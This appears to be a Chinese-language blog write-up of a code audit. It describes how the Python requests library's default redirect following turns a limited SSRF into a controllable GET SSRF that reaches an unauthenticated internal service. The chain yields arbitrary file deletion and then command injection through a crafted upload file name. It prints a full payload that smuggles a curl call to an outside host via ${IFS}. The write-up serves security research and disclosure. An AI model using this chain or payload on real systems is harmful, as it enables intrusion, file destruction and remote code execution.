【技術分享】記一次從雞肋SSRF到RCE的代碼審計過程
Python標準庫中用來處理HTTP相關的模塊是urllib/urllib2,不過其中的API十分零碎,比如urllib庫有urlencode,但urllib2沒有,經常需要混在一起使用,換個運行環境可能又無法正常運行,除了urllib和urllib2之外,會經常看到的還有一個urllib3,該模塊是服務于升級的http 1.1標準,且擁有高效http連接池管理及http代理服務的功能庫,但其并非python內置,需要自行安裝,使用起來仍很復雜,比如urllib3對于POST和PUT請求(request),需要手動對傳入數據進行編碼,然后再加在URL之后,非常麻煩。
requests是用基于urllib3封裝的,繼承了urllib2的所有特性,遵循Apache2 Licensed開源協議的HTTP庫,支持HTTP連接保持和連接池,支持使用cookie保持會話,支持文件上傳,支持自動響應內容的編碼,支持國際化的URL和POST數據自動編碼。如他的口號HTTP for Humans所說,這才是給人用的HTTP庫,實際使用過程中更方便,能夠大大的提高使用效率,縮短寫代碼的時間。

實戰中遇到過這樣一個案例,一個輸入密碼正確后會302跳轉到后臺頁面的登錄口存在盲注,但登錄數據有加密,無法使用sqlmap完成自動注入的過程,于是想編寫python腳本自動化完成這個過程。requests是首選,實際編寫過程中會發現默認屬性下其無法獲取到30X狀態碼的詳情,分析其代碼后發現requests的所有請求方法(GET/POST/HEAD/PUT/DELETE)均會默認跟隨30X跳轉,繼承了urlib3默認跟隨30X跳轉的屬性,并將30X連續跳轉的次數上限從3次修改為30次,如果返回狀態碼是304/305/306/309會保持原來的請求方法,但不會跳轉,返回狀態碼是307/308會保持原請求方法,并且跳轉,其他30x狀態碼則會將請求方法轉化為GET。如需禁止跳轉需將allow_redirects屬性的值設置為False。
下面將分享一個因為這個特性導致的從ssrf到rce的漏洞組合拳。
起
某系統的升級功能可配置自定義的站點, 點擊升級按鈕后會觸發向特定路由發送文件, 也就是一個雞肋的POST類型的路由和參數均不可控的SSRF。

如下圖,**_update是從用戶自定義的配置中取的, 與固定的route變量拼接后作為發送文件的url

利用上文提到的requests默認跟隨狀態碼30X跳轉的特性, 可將這個雞肋的SSRF變成一個GET類型的路由和參數均可控的SSRF


承
該軟件的分層大致如下圖, 鑒權在應用層, 涉及數據涉及敏感操作的均通過api調用另一個端口的上的服務, 該過程無鑒權。思路比較清晰, 可審計服務層的代碼漏洞結合已有的SSRF進一步擴大危害。

受這個SSRF本身的限制, 尋找服務層漏洞時優先看請求方式為GET的路由, 篩選后找到一個符合條件的漏洞點如下圖所示, 傳入的doc_file_path參數可控, 如果文件名中能帶入自己的惡意Payload且文件能夠存在的情況下, 拼接到cmd變量中后有機會RCE。

走到命令拼接的前置條件是文件存在, 故先查看上傳部分代碼, 如下圖所示, mkstemp方法的作用是以最安全的方式創建一個臨時文件, 該文件的文件名隨機, 創建后不會自動刪除, 需用戶自行將其刪除, suffixs是指定的后綴, 也就是說文件雖然可以落地, 但文件名不可控, 無法拼接自己的Payload。

此時只能作為一個任意文件刪除的漏洞來使用, 配置升級鏈接301跳轉到http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd, 其中doc_file_path參數為已知的存在的文件, 點擊系統升級按鈕即可觸發刪除操作。

轉
繼續分析代碼,閱讀大量代碼后找到一處上傳文件的功能點如下圖所示, 其中file_pre為源文件名, 拼接下劃線,時間戳以及.txt后保存并返回了完整的文件路徑,正好符合上面的要求。

源文件名可控, 路徑已知,SSRF升級RCE變得索然無味, 使用分號切割命令語句,帶參數的命令可以使用${IFS}繞一下空格問題, 涉及到的${;均為unix系統文件名允許使用范圍的字符。


合
參數及路由均不可控POST類型的SSRF -> requests 30X跳轉特性 -> 參數和路由均可控的GET類型SSRF -> 文件名部分可控的文件上傳 -> 多點結合攻擊本地服務
最終Payload如下:
http://127.0.0.1:8848/api/doc?doc_file_path=/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt

配置完成手動點擊一下升級功能即可觸發命令執行。
